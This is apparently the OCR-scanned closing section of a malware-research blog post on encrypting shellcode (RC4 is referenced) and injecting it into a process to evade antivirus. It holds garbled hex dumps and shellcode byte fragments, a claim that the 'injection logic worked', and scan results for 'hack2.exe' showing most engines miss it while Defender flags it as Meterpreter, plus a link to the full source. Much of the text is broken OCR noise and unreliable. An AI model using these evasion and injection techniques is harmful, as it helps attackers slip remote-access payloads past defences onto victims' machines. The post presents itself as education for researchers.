‘00 r O>‘DO r 0)‘90 r O”(‘-LU ’ O‘X\UE ’ e 00000040§cS 0d 41 01 cl e2 ed 52 41 51 3e 48 8b 52 o
1™ Pre 0ooooosofsb 42 3c 48 01 d0 3e 8b 30 88 00 00 00 48 ss Hacker
v 9 (A2 Av18 Axw3 L g - &b s0 ee -
xXse, Ox8b o 0x48 o 0x18 5 Ox3e o il svcho 00000060)74 6£ 43 01 d0 50 3= &b 48 18 3e 44 8b 40 A forW
00000070f01 d0 &3 Sc 48 ££ ¢9 3= 41 Eb 34 55 48 O1
. | h 2 for\h
(es, Ox5¢c 0 0x48 0 O,\(ff ' Oxc ms‘f[ & 00000020[31 <o 42 31 c0 ac 41 cl ¢ 0d 41 01 €l 38 =l
CEIBRSE 50000050| 21 3e 4c 03 4c 24 08 45 39 d1 75 de S8 3 I |
cd , Ox4d ,0x31,0xc9,0x48 EW] Starth 0000002040 24 49 01 40 66 3= 41 Sb Oc 43 3= 44 b 40 lof@5I..25R..H>L.0. I
&) Runtil 000000b0f45 01 dO 3= 41 8b 04 88 48 01 d0 41 58 41 58 5e|I..>A...H..RKAE~ - ! BB roker
BR..

@ s N Q 000000c0f59 5a 41 58 41 59 41 5a 48 83 ec 20 41 52 ff e0|YZAXRYAZH..
’ [ Rung] 0000040)SE 4L 56 Sa Se 4% Eb 12 €8 45 £ £F £F 5 49 c7|NAYDE. .

Q e - - until poogone0fcl 00 00 00 00 3= 4% 8d 95 f£= 00 00 00 3= 4c 5d|.....>H
08,0x45,0x39, 0xd1 » 0X @ svcha 000000£0)85 05 01 00 00 48 31 c& 41 ba 45 83 56 07 ££f d5 HL.3

h
me Broker

Process for W

. . . o 0 00000100f48 31 9 41 ba £0 bS a2 56 ££ 45 HL.2....V ;
,0x01,0xd0,0x66,0x3e, Caserd o eiln 00 63 €1 74 00 00 00 00 00 00 00 |FEE. cat i indon

) B dilhot 0, 20 BT~ B0 U0 O ST T0T YOO TT D0 .. pirogate
,0x1c,0x49,0x01, 0xdo 0 ER NisSn 00000130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 @ soft Network
[&] Secur 00000140 00 00 00 00 00 00 00 00 00 00 00 00 00 0D - ity

QDODDLSG 00 00 00 0O DO 0O 0D 00 DO 00 00 00 0O 00 Process for W

do,0x41,0x58,0x41,0x58, [ svcha

! 00000160 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |
‘53 ‘/ wa2 00000170 00 00 00 00 00 00 00 00 00 00 00 00 00 00
X x48 ;
! 0x5a ! 0x48 ! 0x83 ! 0 C, “ 00000180 00 00 00 00 00 00 00 00 00 00 00 00 40 OO
me Broker

59,0x5a,0x3e, 0x48,0x8b, 00100120 00 00 Do 00 10, 20 00 90 00 00 00 0B 00 06 00 5o .o ) =

' axCT. BXCL. 000 0X00 e S s R
0x00,0x00,0x3e,0x4c, o = = =
0xc9,0x41,0xba,0x45, CPUUsegdd

,0x41,0xba, 0xf0,0xb5, B oo msg A

Filter Save.. Copy Close

e
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9
0
1
9

7,0x2d,0x6d,0x65,0x6T, @ e wEs

[clcl oo NoNo oo oo o No o o o ol
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So, it seems our simple injection logic worked!

Upload this sample to https://websec.nl/en/scanner:

Ty
HOME SERVICES ~  COMPANY ~  RESOURCES ~ Dutch ' English | 24/7 Incident Response )
¢ WebSec gish (. ponse )

Scan Results

Scan ID: b1497b7b-af49-4877-870e-2d612ecdlad3

hack2.exe [685 kB]

SCAN STATUS [IN PROGRESS]

NOTIFY ME WHEN COMPLETE.

yourname@example.org Submit

Antivirus: Adaware Status: J Clean
Antivirus: Alyac Status: & Clean
Antivirus: Amiti Status: J Clean
Antivirus: Arcabit Status: J Clean
Antivirus: Avast Status: J Clean
Antivirus: Avg Status: & Clean
Antivirus: Avira Status: J Clean
Antivirus: Bitdefender Status: J Clean

https://websec.nl/en/scanner/result/b1497b7b-af49-48f7-870e-2d612ecd1ad3

As you can see, 4 of 40 AV engines detect our file as malicious.

Note that Microsoft Defender detect it as virTool:win32/Meterpreter:
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https://websec.nl/en/scanner
https://websec.nl/en/scanner/result/b1497b7b-af49-48f7-870e-2d612ecd1ad3

Antivirus: Maxsecure Status: ) Clean
Antivirus: Mcafee Status: &) Clean

Antivirus: Microsoftdefender Status: #* Detected
Detection: VirTool:Win32/Meterpreter

Antivirus: Nano Status: ) Clean
Antivirus: Nod32 Status: ©) Clean
Antivirus: Norman Status: ) Clean
Antivirus: Quickheal Status: @ Clean

| hope this post is useful for malware researchers, C/C++ programmers and offensive
security professionals.

RC4

Malware AV/VM evasion part 9
https://websec.nl/en/scanner
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine
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https://en.wikipedia.org/wiki/RC4
https://cocomelonc.github.io/malware/2022/08/16/malware-av-evasion-9.html
https://websec.nl/en/scanner
https://github.com/cocomelonc/meow/tree/master/2024-06-01-malware-cryptography-28

